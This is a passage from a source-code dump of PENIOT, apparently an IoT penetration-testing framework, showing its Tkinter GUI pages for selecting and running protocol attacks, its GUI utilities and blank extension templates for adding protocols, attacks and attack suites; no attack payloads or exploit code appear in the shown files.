protocol_tab = TabFrame(tab_control, ExportOptions.PROTOCOL)\n        tab_control.add(protocol_tab, text=\"Protocol\")\n\n        tab_control.grid(row=1, column=0, columnspan=4, rowspan=3, sticky=W + E + S + N)\n        CustomButton(self, back_to_menu_label, lambda: change_frame(self, ExtensionPage(root)), 7, None, E, 1)\n        self.grid()\n\n\nclass TabFrame(Frame):\n    def __init__(self, parent_window, option):\n        Frame.__init__(self, parent_window)\n        # Configure the window\n        self.configure(background=window_background_color)\n        self.file_path = None\n        row = 0\n        CustomLabel(self, text=\"Protocol Name:\", row=row, column=1, sticky=E)\n        protocol_name_entry = Entry(self, font=(\"Arial\", 15))\n        protocol_name_entry.grid(row=row, column=2, sticky=W + E, columnspan=2)\n        row = row + 1\n\n        attack_name_entry = Entry(self, font=(\"Arial\", 15))\n        if option == ExportOptions.ATTACK:\n            CustomLabel(self, text=\"Attack Name:\", row=row, column=1, sticky=E)\n            attack_name_entry.grid(row=row, column=2, sticky=W + E, columnspan=2)\n            row = row + 1\n\n        attack_suite_name_entry = Entry(self, font=(\"Arial\", 15))\n        if option == ExportOptions.ATTACK_SUITE:\n            CustomLabel(self, text=\"Attack Suite Name:\", row=row, column=1, sticky=E)\n            attack_suite_name_entry.grid(row=row, column=2, sticky=W + E, columnspan=2)\n            row = row + 1\n\n        CustomLabel(self, text=\"File Path:\", row=row, column=1, sticky=E)\n        file_path_entry = Entry(self, font=(\"Arial\", 15))\n        file_path_entry.grid(row=row, column=2, sticky=W + E, columnspan=2)\n\n        CustomButton(self, \"Select File Path\", lambda: get_file_path(file_path_entry), row, None, W, 4, height=1)\n        row = row + 1\n\n        CustomLabel(self, text=\"File Name:\", row=row, column=1, sticky=E)\n        file_name_entry = Entry(self, font=(\"Arial\", 15))\n        file_name_entry.grid(row=row, column=2, sticky=W + E, columnspan=2)\n        row = row + 1\n\n        rad_var = IntVar()\n        for export_index, export_option in enumerate(ExportUtil.get_export_texts_and_values()):\n            export_value = export_option.get(\"value\")\n            if export_index == 0:\n                rad_var.set(export_value)\n            CustomRadiobutton(self, text=export_option.get(\"text\"), row=row, column=2, sticky=W + S, variable=rad_var,\n                              value=export_value)\n            row = row + 1\n\n        CustomButton(self, \"Export\",\n                     lambda: export_button_click(protocol_name=protocol_name_entry.get(),\n                                                 attack_name=attack_name_entry.get(),\n                                                 attack_suite_name=attack_suite_name_entry.get(),\n                                                 file_path=file_path_entry.get(),\n                                                 file_name=file_name_entry.get(), extension=rad_var.get(),\n                                                 option=option),\n                     row, None, W, 4)\n\n        for col in range(5):\n            self.columnconfigure(col, weight=1)\n        for row in range(8):\n            self.rowconfigure(row, weight=1)\n\n        self.grid()\n\n        def get_file_path(entry):\n            self.file_path = tkFileDialog.askdirectory()\n            entry.delete(0, END)\n            entry.insert(0, self.file_path)\n\n        def export_button_click(protocol_name, attack_name, attack_suite_name, file_path, file_name, extension, option):\n            try:\n                if not os.path.exists(file_path):\n                    pop_up_window(root, None, \"Please enter a valid file path.\")\n                    return\n                ExportUtil.export_action(protocol_name=protocol_name,\n                                         attack_name=attack_name,\n                                         attack_suite_name=attack_suite_name,\n                                         file_path=file_path,\n                                         file_name=file_name, extension=extension,\n                                         option=option)\n                pop_up_window(root, None, \"Files are exported successfully.\")\n            except Exception as e:\n                pop_up_window(root, None, \"Export operation is failed because of\\n{0}\".format(e), justify=CENTER)\n\n\nclass ExtensionHelp(Frame):\n    \"\"\"\n    This page gives detailed information on how to extend PENIOT.\n    \"\"\"\n\n    def __init__(self, parent_window):\n        Frame.__init__(self, parent_window)\n        # Configure the window\n        self.configure(background=window_background_color)\n        # Create the header\n        Header(self).grid(row=0)\n        # information about us\n        extension_info = Label(self, text=get_extension_help(), width=70, justify=CENTER, font=(\"Arial\", 15), height=10)\n        extension_info.grid(row=1)\n        extension_info.configure(background=window_background_color)\n        # Back to menu button\n        CustomButton(self, back_to_menu_label, lambda: change_frame(self, ExtensionPage(root)), 2)\n        # Make it visible\n        self.grid()\n\n\nclass AttacksPage(Frame):\n    \"\"\"\n    This page displays the possible attacks for the selected protocol.\n    \"\"\"\n\n    def __init__(self, parent_window, protocol):\n        Frame.__init__(self, parent_window)\n        # Configure the window\n        self.configure(background=window_background_color)\n        # Set the selected protocol\n        self.protocol = protocol\n        # Create the header\n        Header(self).grid(row=0)\n        # Get protocol's attack suites\n        attacks_suites = get_attacks(protocol[\"package_name\"])\n        # current row index\n        row_index = 1\n        # Create a button for each attack\n        for attack_suite in attacks_suites:\n            if isinstance(attack_suite, Attack):\n                # Create the button for the attack\n                CustomButton(self, attack_suite.get_attack_name(),\n                             lambda selected_attack=attack_suite: change_frame(self,\n                                                                               AttackDetailsPage(root,\n                                                                                                 self.protocol,\n                                                                                                 selected_attack,\n                                                                                                 None)),\n                             row_index)\n                # Increment the row index\n                row_index = row_index + 1\n            elif isinstance(attack_suite, AttackSuite):\n                # Create the button for the attack suite\n                CustomButton(self, attack_suite.get_attack_suite_name(),\n                             lambda selected_attack_suite=attack_suite: change_frame(self,\n                                                                                     AttackSuiteDetailsPage(root,\n                                                                                                            self.protocol,\n                                                                                                            selected_attack_suite)),\n                             row_index)\n                # Increment the row index\n                row_index = row_index + 1\n        if not is_default_protocol(self.protocol[\"protocol\"].get_protocol_name()):\n            # Back to attack selection page button\n            CustomButton(self, \"Delete Protocol\", lambda: self.delete_protocol(), row_index, foreground=\"red\")\n        row_index = row_index + 1\n        # Back to menu button\n        CustomButton(self, back_to_menu_label, lambda: change_frame(self, ProtocolsPage(root)), row_index)\n        # Make it visible\n        self.grid()\n\n    def delete_protocol(self):\n        is_successful = delete_protocol(self.protocol[\"protocol\"].get_protocol_name())\n        if is_successful:\n            change_frame(self, ProtocolsPage(root))\n\n\nclass AttackSuiteDetailsPage(Frame):\n    \"\"\"\n        This page displays the details of the selected attack suite.\n    \"\"\"\n\n    def __init__(self, parent_window, protocol, attack_suite):\n        Frame.__init__(self, parent_window)\n        # Configure the window\n        self.configure(background=window_background_color)\n        # Set the selected protocol\n        self.protocol = protocol\n        # Set the selected attack suite\n        self.attack_suite = attack_suite\n        # Create the header\n        Header(self).grid(row=0, columnspan=2)\n        # row index\n        row_index = 1\n        # Create buttons for attacks\n        for attack_in_suite in attack_suite.get_attacks():\n            # Create the button for the attack\n            CustomButton(self, attack_in_suite.get_attack_name(),\n                         lambda selected_attack=attack_in_suite: change_frame(self,\n                                                                              AttackDetailsPage(root, self.protocol,\n                                                                                                selected_attack,\n                                                                                                attack_suite)),\n                         row_index, 2)\n            # Increment row index\n            row_index = row_index + 1\n        # Back to attack selection page button\n        CustomButton(self, back_to_attack_selection_page, lambda: change_frame(self, AttacksPage(root, self.protocol)),\n                     row_index, 2)\n        # Make it visible\n        self.grid()\n\n\nclass AttackDetailsPage(Frame):\n    \"\"\"\n        This page displays the details of the selected attack.\n    \"\"\"\n\n    def __init__(self, parent_window, protocol, attack, attack_suite):\n        Frame.__init__(self, parent_window)\n        # Configure the window\n        self.configure(background=window_background_color)\n        # Set the selected protocol\n        self.protocol = protocol\n        # Set the attack suite\n        self.attack_suite = attack_suite\n        # Set the selected attack\n        self.attack = attack\n        # Create the header\n        Header(self).grid(row=0, columnspan=2)\n        # Definition of the attack\n        attack_definition = Label(self, text=self.attack.get_definition(), width=70, justify=CENTER,\n                                  font=(\"Arial\", 15),\n                                  height=10)\n        attack_definition.grid(row=1)\n        attack_definition.configure(background=window_background_color)\n        # Back to the previous page\n        if self.attack_suite is None:\n            # Back to attack selection page button\n            CustomButton(self, back_to_attack_selection_page,\n                         lambda: change_frame(self, AttacksPage(root, self.protocol)),\n                         2, None, W)\n        else:\n            # Back to attack suite details page button\n            CustomButton(self, back_to_attack_suite_page,\n                         lambda: change_frame(self, AttackSuiteDetailsPage(root, self.protocol, attack_suite)),\n                         2, None, W)\n        if not is_default_protocol(self.protocol[\"protocol\"].get_protocol_name()):\n            # Delete attack button\n            CustomButton(self, \"Delete Attack\", lambda: self.delete_attack(), 2, foreground=\"red\")\n        # Go to input page button\n        CustomButton(self, go_to_input_page,\n                     lambda: change_frame(self, InputsPage(root, self.protocol, self.attack, self.attack_suite)),\n                     2, None, E)\n        # Make it visible\n        self.grid()\n\n    def delete_attack(self):\n        is_successful = delete_attack(self.attack.get_attack_name())\n        if is_successful:\n            # Back to the previous page\n            if self.attack_suite is None:\n                # Back to attack selection page button\n                change_frame(self, AttacksPage(root, self.protocol))\n            else:\n                # Back to attack suite details page button\n                change_frame(self, AttackSuiteDetailsPage(root, self.protocol, self.attack_suite))\n\n\nclass InputsPage(Frame):\n    \"\"\"\n        This page is used to get inputs from the user.\n    \"\"\"\n\n    def __init__(self, parent_window, protocol, attack, attack_suite):\n        Frame.__init__(self, parent_window)\n        # Configure the window\n        self.configure(background=window_background_color)\n        # Set the selected protocol\n        self.protocol = protocol\n        # Set the attack suite\n        self.attack_suite = attack_suite\n        # Set the selected attack\n        self.attack = attack\n        # file path if necessary\n        self.file_path = \"\"\n        # Create the header\n        Header(self).grid(row=0, columnspan=3)\n        # Inputs of the attack\n        row_index = 1\n        # Get inputs\n        self.inputs = self.attack.get_inputs()\n        # Create an empty list for input values\n        self.input_values = []\n        # For each input, create a Label-Entity pair\n        for _input in self.inputs:\n            label = Label(self, text=_input.get_label_name())\n            label.grid(row=row_index)\n            label.configure(background=window_background_color)\n\n            # Create a StringVar for the input\n            string_var = StringVar(value=str(_input.get_value()))\n            # Add it to the list\n            self.input_values.append(string_var)\n            # Create an entry for the input\n            if _input.is_secret():\n                # Bind it to the string var\n                entry = Entry(self, show=\"*\", textvariable=string_var)\n            else:\n                # Bind it to the string var\n                entry = Entry(self, textvariable=string_var)\n            entry.grid(row=row_index, column=1)\n            if _input.is_mandatory():\n                entry.configure(background=mandatory_fields_background_color)\n            else:\n                entry.configure(background=window_background_color)\n            if _input.is_from_captured_packets():\n                CustomButton(self, \"Select File\", lambda: self.get_file_path(entry), row_index, None, W, 2,\n                             height=1)\n            # Increment the row index\n            row_index = row_index + 1\n\n        # Back to attack details page button\n        CustomButton(self, back_to_attack_details,\n                     lambda: change_frame(self,\n                                          AttackDetailsPage(root, self.protocol, self.attack, self.attack_suite)),\n                     row_index, None,\n                     None, 0)\n        # Perform the attack page button\n        CustomButton(self, perform_attack, lambda: self.navigate_to_attack_reporting_page(), row_index, None,\n                     None, 1)\n\n        # Set default parameters of the current protocol\n        row_index += 1\n        CustomButton(self, load_default_parameters, lambda: (\n            self.attack.load_default_parameters(),\n            self.load_default_parameters_to_variables()\n        ), row_index, 2, None, None)\n        # Make it visible\n        self.grid()\n\n    def get_file_path(self, entry):\n        path_to_captured_packets = os.path.dirname(os.path.abspath(__file__)) + \"/../captured_packets\"\n        self.file_path = tkFileDialog.askopenfilename(initialdir=path_to_captured_packets,\n                                                      filetypes=[(\"pcap-files\", \"BLE*.pcap\")])\n        entry.delete(0, END)\n        entry.insert(0, self.file_path)\n\n    def set_input_values(self):\n        \"\"\"\n        This function sets the values of the inputs using the self.input_values field.\n        \"\"\"\n        for i in range(0, len(self.inputs)):\n            # Get the input from the user\n            value = self.input_values[i].get()\n            # If this is a mandatory field, but user did not provide any value for it,\n            # Then simply create a pop-up explaining the situation\n            if self.inputs[i].is_mandatory() and value.strip() is \"\":\n                pop_up_window(root, \"Input Validation\",\n                              \"Please, be sure that you provide valid values for the mandatory fields.\")\n                # input validation failed\n                return False\n            # If the user provide a value for the input, use it\n            # Otherwise, use the default one\n            if value is not \"\":\n                # convert string to the expected type\n                try:\n                    value = InputsPage._check_value_type(self.inputs[i], value)\n                except Exception:\n                    return False\n            else:\n                value = self.inputs[i].get_default_value()\n            # Set the value\n            self.inputs[i].set_value(value)\n        return True\n\n    def navigate_to_attack_reporting_page(self):\n        \"\"\"\n        This function is called when we want to start testing\n        \"\"\"\n        # Set the input values\n        is_valid = self.set_input_values()\n        # If we have valid inputs, then continue with the attack\n        if is_valid:\n            # Change page to the attack reporting page\n            change_frame(self, AttackReportingPage(root, self.protocol, self.attack, self.attack_suite))\n        else:\n            pop_up_window(root, \"Input Validation\",\n                          \"Please, be sure that you provide valid values for input fields.\")\n\n    def load_default_parameters_to_variables(self):\n        for _input_index, _input in enumerate(self.inputs):\n            self.input_values[_input_index].set(str(_input.get_value()))\n\n    @staticmethod\n    def _check_value_type(_input, _value):\n        try:\n            if _input.type == bool:\n                return CommonUtil.get_boolean_value(_value)\n            else:\n                return _input.type(_value)\n        except TypeError as _:\n            raise _\n\n\nclass AttackReportingPage(Frame):\n    \"\"\"\n    This page is used to show the results of the attack.\n    \"\"\"\n\n    def __init__(self, parent_window, protocol, attack, attack_suite):\n        Frame.__init__(self, parent_window)\n        # Configure the window\n        self.configure(background=window_background_color)\n        # Set the selected protocol\n        self.protocol = protocol\n        # Set the attack suite\n        self.attack_suite = attack_suite\n        # Set the selected attack\n        self.attack = attack\n        # Create the header\n        Header(self).grid(row=0, columnspan=2)\n        # Create the console\n        self.console = Text(self)\n        self.console.grid(row=1, columnspan=2, sticky=\"nsew\")\n        self.console.configure(background=console_background_color, foreground=console_foreground_color, wrap='word')\n        # Change the default output stream\n        sys.stdout = self\n        # Change the default input stream\n        sys.stdin = self\n\n        # Create a stream handler\n        stream_handler = logging.StreamHandler(self)\n        stream_handler.setLevel(logging.INFO)\n        # Create a formatter\n        formatter = logging.Formatter(logging_format)\n        stream_handler.setFormatter(formatter)\n        # Create a logger\n        self.logger = logging.getLogger(logger_name)\n        self.logger.addHandler(stream_handler)\n        # Start the testing after 1 seconds. Create a Timer object so we can stop execution later\n        self.timer = Timer(1.0, self.perform_attack)\n        self.timer.start()\n\n        # Stop the attack and back to menu button\n        CustomButton(self, stop_attack_go_back, lambda: self.attack_stopper(), 2, 1, None, 0)\n        CustomButton(self, generate_report, lambda: self.report_generator(), 2, 1, None, 1)\n        # Make it visible\n        self.grid()\n\n    # Override write function\n    def write(self, text):\n        self.console.insert(END, str(text))\n        # Change the state of the console to Disabled so that nobody can write\n        # Update the tasks so that the user can see the logs\n        self.update_idletasks()\n\n    # Override readline function\n    def readline(self):\n        return_value = None\n        while return_value is None:\n            # Get the return value\n            return_value = self.get_number()\n            # continue until we have a valid return value\n            if return_value is None:\n                continue\n            return return_value\n\n    # Used to get user selection for BLE sniffing attack\n    def get_number(self):\n        return_value = None\n        text = self.console.get(1.0, END)[::-1].encode(\"ascii\")\n\n        if text[0] == '\\n' and text[1] == '\\n':\n            for i in text:\n                if i == \">\":\n                    break\n                elif str.isdigit(i):\n                    if return_value is None:\n                        return_value = \"\"\n                    return_value = i + return_value\n        return return_value\n\n    def perform_attack(self):\n        # Start message\n        self.logger.info(\"Performing the attack\")\n        # Run the attack\n        self.attack.run()\n        # Exit message\n        self.logger.info(\"Attack is performed successfully\")\n\n    # Define the attack stopper function to end attacks\n    def attack_stopper(self):\n        # Remove handlers\n        self.attack.stop_attack()  # Call the underlying attack's own stopper\n        for handler in self.logger.handlers:\n            handler.close()\n            self.logger.removeHandler(handler)\n        # There will be some more changes here to close open pipes and so on.\n        # Then, change the frame and go back\n        change_frame(self, InputsPage(root, self.protocol, self.attack, self.attack_suite))\n\n    def report_generator(self):\n        directory = tkFileDialog.askdirectory()\n        try:\n            if type(directory) == str and len(directory) > 0:\n                directory = directory if directory.endswith('/') else directory + '/'\n                GenerateReport.generate_pdf_from_text(\n                    self.protocol['protocol'].get_protocol_name(),\n                    self.attack.get_attack_name(),\n                    self.console.get(\"1.0\", END),\n                    directory\n                )\n                pop_up_window(root, None, 'Report is successfully generated.', justify=CENTER)\n        except Exception as e:\n            pop_up_window(root, None, 'Report cannot be generated properly.\\nPlease check given directory path.',\n                          justify=CENTER)\n\n\ndef run():\n    # Create the root window\n    root = create_root()\n    # Create HomePage and make it the current window\n    HomePage(root).tkraise()\n    root.mainloop()\n"
  },
  {
    "path": "src/GUI/utils.py",
    "content": "# This file contains methods which are used in the GUI.\nimport importlib\nimport inspect\nimport os\nimport pkgutil\nimport shutil\n\nfrom Tkinter import *\nfrom hard_coded_texts import project_title, window_size, window_background_color\nfrom Utils.ExtendUtil.import_util import ImportUtil\n\n# list of default protocols\nDEFAULT_PROTOCOLS = [\"MQTT\", \"CoAP\", \"AMQP\", \"BLE\"]\n\n\ndef is_default_protocol(protocol_name):\n    \"\"\"\n    Check whether the given protocol is default or not\n    \"\"\"\n    if DEFAULT_PROTOCOLS.__contains__(protocol_name):\n        return True\n    return False\n\n\ndef delete_protocol(protocol_name):\n    \"\"\"\n    Deletes the given protocol\n    \"\"\"\n    path_to_protocol = os.path.dirname(os.path.abspath(__file__)) + \"/../protocols/\" + protocol_name\n    shutil.rmtree(path_to_protocol)\n    return True\n\n\ndef delete_attack(attack_name):\n    \"\"\"\n    Deletes the given attack\n    \"\"\"\n    # Get the protocol name\n    protocol_name = attack_name[:attack_name.index(\" \")]\n    # Get the attack real name\n    # Remove protocol name\n    attack_name = attack_name[attack_name.index(\" \") + 1:]\n    # Remove 'Attack' label at the end\n    attack_name = attack_name[:attack_name.index(\" \")]\n\n    # Delete the attack\n    path_to_attack = os.path.dirname(\n        os.path.abspath(__file__)) + \"/../protocols/\" + protocol_name + \"/attacks/\" + attack_name\n    shutil.rmtree(path_to_attack)\n    return True\n\n\ndef pop_up_window(root, protocol_name, definition, justify=LEFT):\n    \"\"\"\n    A pop up message generator.\n    \"\"\"\n    popup = Toplevel(root)\n    # Prevent pop-up from resizing\n    popup.resizable(False, False)\n    popup.wm_title(protocol_name)\n    label = Label(popup, text=definition, anchor=W, font=(\"Arial\", 10), justify=justify, wraplength=800)\n    # A pop-up with protocol name on top and definition below\n    label.pack(side=\"top\", fill=\"both\", pady=10)\n    button1 = Button(popup, text=\"OK\", command=popup.destroy)\n    button1.pack(expand=True, fill=BOTH)\n    # Prohibits any other window to accept events\n    popup.grab_set()\n    # Center the window\n    center_widget(popup)\n    popup.mainloop()\n\n\ndef get_protocols():\n    \"\"\"\n    it simply searches for the subclasses of Protocol class and returns the all protocols\n    \"\"\"\n    # Available protocols\n    protocols = []\n    # Base package to start searching for protocols\n    packages = [\"src.protocols\"]\n    # Continue to search until no package is available\n    while len(packages) > 0:\n        # Get the package\n        package = packages.pop()\n        # Get the package module\n        package_module = importlib.import_module(package)\n        prefix = package_module.__name__ + \".\"\n        for finder, name, ispkg in pkgutil.iter_modules(package_module.__path__, prefix):\n            # If it is a package, add it to the package list\n            if ispkg:\n                packages.append(name)\n            else:\n                # For some modules, we may have errors, skip those errors for now\n                try:\n                    mod = importlib.import_module(name)\n                except ImportError:\n                    continue\n                for tname, klass in inspect.getmembers(mod):\n                    if inspect.isclass(klass):\n                        # If the class inherits from Protocol class, simply add it to the protocol list\n                        if \"Protocol\" in [c.__name__ for c in inspect.getmro(klass)[1:]]:\n                            protocols.append({\"package_name\": package, \"protocol\": klass()})\n    return protocols\n\n\ndef get_attacks(package_name):\n    \"\"\"\n    it simply searches for the subclasses of Attack class in the given package and returns the attacks\n    \"\"\"\n    # Available attack names\n    attack_names = []\n    # Available attack suites\n    attack_suites = []\n    # Available attacks\n    attacks = []\n    # Base package to start searching for protocols\n    packages = [package_name + \".attacks\"]\n    # Continue to search until no package is available\n    while len(packages) > 0:\n        # Get the package\n        package = packages.pop()\n        package_module = importlib.import_module(package)\n        prefix = package_module.__name__ + \".\"\n        for finder, name, ispkg in pkgutil.iter_modules(package_module.__path__, prefix):\n            # If it is a package, add it to the package list\n            if ispkg:\n                packages.append(name)\n            else:\n                try:\n                    mod = importlib.import_module(name)\n                except ImportError:\n                    continue\n                for tname, klass in inspect.getmembers(mod):\n                    if inspect.isclass(klass):\n                        # If the class inherits from Attack class, simply add it to the attack list\n                        if \"Attack\" in [c.__name__ for c in inspect.getmro(klass)[1:]]:\n                            attack = klass()\n                            # check whether we have this attack in the list or not\n                            if not attack_names.__contains__(attack.get_attack_name()):\n                                attacks.append(attack)\n                                attack_names.append(attack.get_attack_name())\n                        # If the class inherits from AttackSuite class, simply add it to the Attack suite list\n                        if \"AttackSuite\" in [c.__name__ for c in inspect.getmro(klass)[1:]]:\n                            attack_suite = klass()\n                            attack_suites.append(attack_suite)\n    # Remove attack names included in the attack suites\n    for attack_suite in attack_suites:\n        for attack in attack_suite.get_attacks():\n            if attack_names.__contains__(attack.get_attack_name()):\n                attack_names.remove(attack.get_attack_name())\n    # Final list of available attacks\n    available_attacks = []\n    # Retrieve attack whose name is included in the attack name list\n    for attack in attacks:\n        for attack_name in attack_names:\n            if attack.get_attack_name() == attack_name:\n                available_attacks.append(attack)\n                break\n    # Add attack suites to the available attacks\n    for attack_suite in attack_suites:\n        available_attacks.append(attack_suite)\n    return available_attacks\n\n\ndef get_captured_packet_files():\n    \"\"\"\n    Retrieves the files containing saved captured packets\n    \"\"\"\n    # Names of the files\n    file_names = []\n    # Search files in the src.captured_packets package\n    path_to_package = os.path.dirname(os.path.abspath(__file__))[:-4] + \"/captured_packets\"\n    for root, dirs, files in os.walk(path_to_package):\n        for filename in files:\n            # Only get .txt files\n            if filename.endswith(\".pcap\") or filename.endswith(\".txt\"):\n                file_names.append(filename)\n    return file_names\n\n\ndef change_frame(old_frame, new_frame):\n    \"\"\"\n    This function is used to change the frame.\n    Firstly, we have to delete the old frame. Then, we start to use new one.\n    \"\"\"\n    # Destroy old frame\n    old_frame.grid_forget()\n    old_frame.destroy()\n    # New frame\n    new_frame.tkraise()\n\n\ndef create_root():\n    \"\"\"\n    It creates the root window.\n    \"\"\"\n    # Create the root window\n    root = Tk()\n    # Root window related settings\n    root.title(project_title)\n    root.geometry(window_size)\n    root.configure(background=window_background_color)\n    root.resizable(False, False)\n    # Center the window\n    center_widget(root)\n\n    startup_calls()\n    root.protocol(\"WM_DELETE_WINDOW\", lambda: shutdown_calls(root))\n\n    return root\n\n\ndef center_widget(window):\n    \"\"\"\n    Used to center the given window on the screen\n    \"\"\"\n    # Render the window to get correct width and height\n    window.update()\n    # Make window invisible so that we will have a smooth transition from upper left side to center\n    window.withdraw()\n    # Get window size settings\n    width_of_window = window.winfo_width()\n    height_of_window = window.winfo_height()\n    # Get screen size settings\n    screen_width = window.winfo_screenwidth()\n    screen_height = window.winfo_screenheight()\n    # Calculate the x and y coordinates\n    x_coordinate = (screen_width / 2) - (width_of_window / 2)\n    y_coordinate = (screen_height / 2) - (height_of_window / 2)\n    # Set the geometry\n    window.geometry(\"%dx%d+%d+%d\" % (width_of_window, height_of_window, x_coordinate, y_coordinate))\n    # Make the window visible\n    window.deiconify()\n\n\ndef startup_calls():\n    \"\"\"\n    Initialize program dependent modules to make program prepared for all operations\n    \"\"\"\n    ImportUtil.startup()\n\n\ndef shutdown_calls(root):\n    \"\"\"\n    Register method callback to call necessary ending operations\n    \"\"\"\n    ImportUtil.shutdown()\n    root.destroy()\n"
  },
  {
    "path": "src/Utils/CommonUtil/__init__.py",
    "content": "\"\"\"\n    Common Utilities\n    It contains necessary functionalities used commonly in project.\n\"\"\"\n\nimport datetime\n\n\ndef get_current_datetime_for_filename_format():\n    return datetime.datetime.now().strftime(\"%Y-%m-%d_%H:%M:%S\")\n\n\ndef get_current_datetime_for_report_format():\n    return datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n\n\ndef get_boolean_value(bool_str):\n    bool_str = str(bool_str)\n    true_list = [\"1\", \"true\", \"yes\", \"t\", \"y\"]\n    if bool_str.lower() in true_list:\n        return True\n    false_list = [\"0\", \"false\", \"no\", \"f\", \"n\"]\n    if bool_str.lower() in false_list:\n        return False\n    raise TypeError(\"Invalid input for bool type!\")\n\n"
  },
  {
    "path": "src/Utils/ExtendUtil/__init__.py",
    "content": "\"\"\"\n    Extendability Utilities\n    It contains necessary functionality used for importing and exporting scripts.\n\"\"\""
  },
  {
    "path": "src/Utils/ExtendUtil/export_attack_suite_template.py",
    "content": "#################################################################################\n#                               IMPORTANT WARNING                               #\n# This file is prepared to be guidance for you while implementing your protocol #\n# attack or attack suite. You can extend PENIOT with your implementations by    #\n# filling necessary fields properly, then you can perform what you have created.#\n# To achieve this successfully, fill the following code segment carefully and   #\n# keep compulsory code fields without changing their signatures so that PENIOT  #\n# could extend itself with your code and work properly.                         #\n#################################################################################\n\n# Do not change any of the import statements, we will provide their contents to you\n# Moreover, you do not need to export any other file than your attack suite\nfrom Entity.attack_suite import AttackSuite\n\n\nclass _ATTACK_SUITE_COMBINED_NAME(AttackSuite):\n\n    def __init__(self):\n        attacks = [\n            # List the wanted attack here to package them in a single entity\n        ]\n\n        # Auto generated attack suite name, you can change attack name to be displayed in graphical user interface\n        attack_suite_name = \"_ATTACK_SUITE_NAME\"\n\n        AttackSuite.__init__(self, attack_suite_name, attacks)\n"
  },
  {
    "path": "src/Utils/ExtendUtil/export_attack_template.py",
    "content": "#################################################################################\n#                               IMPORTANT WARNING                               #\n# This file is prepared to be guidance for you while implementing your protocol #\n# attack or attack suite. You can extend PENIOT with your implementations by    #\n# filling necessary fields properly, then you can perform what you have created.#\n# To achieve this successfully, fill the following code segment carefully and   #\n# keep compulsory code fields without changing their signatures so that PENIOT  #\n# could extend itself with your code and work properly.                         #\n#################################################################################\n\n# Do not change any of the import statements, we will provide their contents to you\n# Moreover, you do not need to export any other file than your attack\nimport logging\n\nfrom Entity.attack import Attack\n\n\nclass _ATTACK_COMBINED_NAME(Attack):\n\n    \"\"\"\n    Input Fields\n    ** Important Note **: Each input must appear in the following lines of code for example, you can have following\n    configuration in attack input list\n\n    * For input format class, you need to fill following fields:\n        1) Label of input to be displayed in GUI\n        2) Name of member variable in this class, they need to match with following declarations\n        3) If exist, default value. You may set it \"\" or None\n        4) Type of input value to check/cast\n    inputs = [\n        InputFormat(\"Port Number\", \"port\", self.port, int),\n        InputFormat(\"Timeout\", \"timeout\", self.timeout, float)\n        ...\n    ]\n\n    * Then your attack class must have following member variables (Values are used for exemplifying)\n    port = 8080\n    timeout = 0.01\n    ...\n    \"\"\"\n\n    \"\"\"\n        Miscellaneous Members\n        You can much more of them here to internally use\n    \"\"\"\n    logger = None\n\n    def __init__(self):\n        inputs = [\n            # You need to decide inputs to be taken from graphical user interface to conduct attack\n        ]\n\n        # Auto generated attack name, you can change attack name to be displayed in graphical user interface\n        attack_name = \"_ATTACK_NAME\"\n        # Auto generated attack description, you can change or add description for the new attack,\n        # you can browse it from ? button nearby attacks in attack menu\n        description = \"_ATTACK_NAME Description\"\n\n        Attack.__init__(self, attack_name, inputs, description)\n\n        # Simple logger and registration\n        logging.basicConfig(level=logging.DEBUG, format=\"%(asctime)s:%(levelname)s:%(name)s:%(message)s\")\n        self.logger = logging.getLogger(\"_ATTACK_NAME\")\n\n    def pre_attack_init(self):\n        # You can preliminary processes here such as client initialization, sniffing of packets or similar processes\n        pass\n\n    def run(self):\n        # DO NOT REMOVE!\n        # Necessary to initiate obtained input values\n        super(_ATTACK_COMBINED_NAME, self).run()\n\n        # Optional field if the attack needs preliminary procedure to be done\n        self.pre_attack_init()\n\n        # Implement attack here\n        # The code segment below this line will be executed when you click Run Attack button\n        \"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n        \"                    ||| Attack Content HERE |||                   \"\n        \"                    vvv                     vvv                   \"\n        \"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n        pass\n"
  },
  {
    "path": "src/Utils/ExtendUtil/export_protocol_template.py",
    "content": "#################################################################################\n#                               IMPORTANT WARNING                               #\n# This file is prepared to be guidance for you while implementing your protocol #\n# attack or attack suite. You can extend PENIOT with your implementations by    #\n# filling necessary fields properly, then you can perform what you have created.#\n# To achieve this successfully, fill the following code segment carefully and   #\n# keep compulsory code fields without changing their signatures so that PENIOT  #\n# could extend itself with your code and work properly.                         #\n#################################################################################\n\n# Do not change any of the import statements, we will provide their contents to you\n# Moreover, you do not need to export any other file than your protocol\nfrom Entity.protocol import Protocol\n\n\"\"\"\nNote: You need to put your attack implementations to the attack directory that you\ncan find in root path of created archive. Do not forget this since we are parsing\nthat directory to import attack dynamically.\n\"\"\"\n\nclass _PROTOCOL_NAME(Protocol):\n\n    def __init__(self):\n        # Auto generated name with respect to your protocol name input\n        # If you want, you can change it, it will be showed in protocol menu\n        protocol_name = \"_PROTOCOL_NAME\"\n\n        # You should write definition of exported protocol\n        # In case of writing, you can view protocol definition\n        # by clicking question-mark-icon button while selecting target protocol\n        protocol_definition = \"_PROTOCOL_NAME Definition\"\n\n        # You need to add your attacks to this list in order to view and instantiate them while performing your attacks\n        attack_suites = [\n            # Add attacks or attack suites\n        ]\n\n        # Call parent constructor with following parameters\n        # 1) Attack name to be displayed in GUI\n        # 2) Attacks or attack suites to perform regression and penetration\n        # 3) Protocol definition to be displayed in GUI\n        Protocol.__init__(self, protocol_name, attack_suites, protocol_definition)\n\n"
  },
  {
    "path": "src/Utils/ExtendUtil/export_util.py",
